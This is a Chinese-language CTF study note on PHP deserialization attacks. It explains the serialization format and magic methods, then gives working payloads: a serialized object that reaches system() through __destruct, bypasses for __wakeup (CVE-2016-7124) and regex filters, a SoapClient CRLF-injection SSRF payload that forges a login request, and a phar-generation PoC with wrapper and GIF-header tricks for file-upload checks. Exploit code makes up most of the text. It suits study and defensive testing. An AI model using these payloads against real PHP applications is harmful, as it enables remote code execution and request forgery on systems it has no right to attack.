idea自定義banner
php反序列化相關知識的筆記
一、簡介
意義在於能把一個結構抽象的東西轉變為易於傳輸的字串,如陣列、物件。
serialize($a):把$a序列化 unserialize($a):把$a反序列化
型別(:長度):內容 ,例如:
serialize(“aaaaa”) ---> s:5:"aaaaa"; serialize(123) ---> i:123; serialize(True) ---> b:1; serialize(array('a'=>'b')) --> a:1:{s:1:"a";s:1:"b";}
序列化後的內容只有成員變數,沒有成員函式。如下:
shellydeMacBook-Pro:~ shellyzhang$ cat 2.php <?php class test{ public $a; public $b; function __construct(){$this->a = "abc";$this->b="efg";} function abc(){return $this->a;} } $a = new test();echo serialize($a); ?>
shellydeMacBook-Pro:~ shellyzhang$ php 2.php O:4:"test":2:{s:1:"a";s:3:"abc";s:1:"b";s:3:"efg";}
protected型會在變數名前加上\x00*\x00,private型會在變數名前加上\x00類名\x00,輸出時記得url編碼。如下:
shellydeMacBook-Pro:~ shellyzhang$ cat 2.php <?php class test{ protected $a; private $b; function__construct(){$this->a = "abc";$this->b="efg";} } $a = new test(); echo urlencode(serialize($a)); ?> shellydeMacBook-Pro:~ shellyzhang$ php 2.php O%3A4%3A%22test%22%3A2%3A%7Bs%3A4%3A%22%00%2A%00a%22%3Bs%3A3%3A%22abc%22%3Bs%3A7%3A%22%00test%00b%22%3Bs%3A3%3A%22efg%22%3B%7D
shellydeMacBook-Pro:~ shellyzhang$ shellydeMacBook-Pro:~ shellyzhang$ python3 -c "import urllib.parse;print(urllib.parse.unquote('O%3A4%3A%22test%22%3A2%3A%7Bs%3A4%3A%22%00%2A%00a%22%3Bs%3A3%3A%22abc%22%3Bs%3A7%3A%22%00test%00b%22%3Bs%3A3%3A%22efg%22%3B%7D'))" O:4:"test":2:{s:4:"*a";s:3:"abc";s:7:"testb";s:3:"efg";}
二、漏洞成因
php的魔術方法中含有或會呼叫到危險的函式,同時函式變數又是使用者可控的。如下,需要注意的是,__destruct的工作目錄會被切換為系統根目錄:
shellydeMacBook-Pro:~ shellyzhang$ cat 2.php <?php class test{ public $a; function __destruct(){ system($this->a); } } unserialize('O:4:"test":1:{s:1:"a";s:3:"pwd";}'); ?> shellydeMacBook-Pro:~ shellyzhang$ php 2.php /Users/shellyzhang
常用的php魔術方法,如下:
__construct(),類的建構函式
__destruct(),類的解構函式
__call(),在物件中呼叫一個不可訪問方法時呼叫 如:$a->xxx();
__get(),獲得一個類的成員變數時呼叫 如:$a->xxx;
__set(),設定一個類的成員變數時呼叫
__sleep(),執行serialize()時,先會呼叫這個函式
__wakeup(),執行unserialize()時,先會呼叫這個函式
__toString(),類被當成字串時的迴應方法 如:echo $a;
__invoke(),呼叫函式的方式呼叫一個物件時的迴應方法 $a();
例題:[網鼎杯 2020 青龍組]AreUSerialzhttps://www.cnblogs.com/or4nge/p/13440624.html
三、反序列化繞過
1、繞過字元過濾
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"efg";}
可以寫成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"efg";}
表示字元型別的s大寫時,會被當成16進位制解析。
2、繞過__wakeup
CVE-2016-7124
PHP5 < 5.6.25
PHP7 < 7.0.10序列化字串中表示物件屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行
如下:
<?php class test{ public $a; function __wakeup(){ $this->a=''; } function __destruct(){ system($this->a); } } unserialize('O:4:"test":2:{s:1:"a";s:3:"pwd";}'); ?>
3、繞過部分正則
preg_match('/^O:\d+/')匹配序列化字串是否是物件字串開頭
1. serialize(array($a));//$a為要反序列化的物件
序列化結果開頭是a,不影響作為陣列元素的$a的析構2. O:+3:”aaa”....
利用加號繞過(注意在url裡傳參時+要編碼為%2B)
4、利用引用
將$c設定為$b的引用,$test->c = &$test->b,可以使$c永遠與$b相等
class test{ public $a; public $b; public $c; function __destruct(){ $this->b='xxxxxx'; if($this->c===$this->b){ system($this->a); } } }
四、PHP原生類反序列化(soap)
php在安裝php-soap拓展後,可以反序列化原生類SoapClient,來發送http post請求。
必須呼叫SoapClient不存在的方法,觸發SoapClient的__call魔術方法。
通過CRLF來新增請求體:SoapClient可以指定請求的user-agent頭,通過新增換行符的形式來加入其他請求內容
<?php $target = 'http://127.0.0.1/index.php?action=login'; $post_string = 'username=admin&password=nu1ladmin&code=cf44f3147ab331af7d66943d888c86f9'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'test^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "notExistFunction")); $aaa = serialize($b); $aaa = str_replace('^^',"\r\n",$aaa); $aaa = str_replace('&','&',$aaa); echo urlencode($aaa);
五、phar反序列化
phar檔案本質上是一種壓縮檔案,會以序列化的形式儲存使用者自定義的meta-data。當受影響的檔案操作函式呼叫phar檔案時,會自動反序列化meta-data內的內容。
參考:
https://threezh1.com/2019/09/09/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
知道創宇測試後受影響的函式列表:
基本poc如下,可使用此poc生成phar檔案:
<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //字尾名必須為phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設定stub $o = new TestObject(); $phar->setMetadata($o); //將自定義的meta-data存入manifest $phar->addFromString("test.txt", "test"); //新增要壓縮的檔案 //簽名自動計算 $phar->stopBuffering(); ?>
相關繞過:
當環境限制了phar不能出現在前面的字元裡。可以使用compress.bzip2://和compress.zlib://繞過
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';當環境限制了phar不能出現在前面的字元裡,還可以配合其他協議進行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar
GIF格式驗證可以通過在檔案頭部新增GIF89a繞過
1、$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設定stub
2、生成一個phar.phar,修改後綴名為phar.gif
一個簡單的例子:phar.php
<?php class TestObject { } $phar = new Phar("phar.phar"); //字尾名必須為phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設定stub $o = new TestObject(); $o -> name='test'; //控制TestObject中的name變數為Threezh1 $phar->setMetadata($o); //將自定義的meta-data存入manifest $phar->addFromString("test.txt", "test"); //新增要壓縮的檔案 //簽名自動計算 $phar->stopBuffering(); ?>
index.php
<?php class TestObject { public $name; function __destruct() { echo $this -> name; } } if ($_GET["file"]){ file_exists($_GET["file"]); } ?>
使用php phar.php生成phar.phar檔案。
訪問:http://127.0.0.1/index.php?file=phar://phar.phar
返回:test。 反序列化利用成功。
例題:SWPUCTF 2018 SimplePHP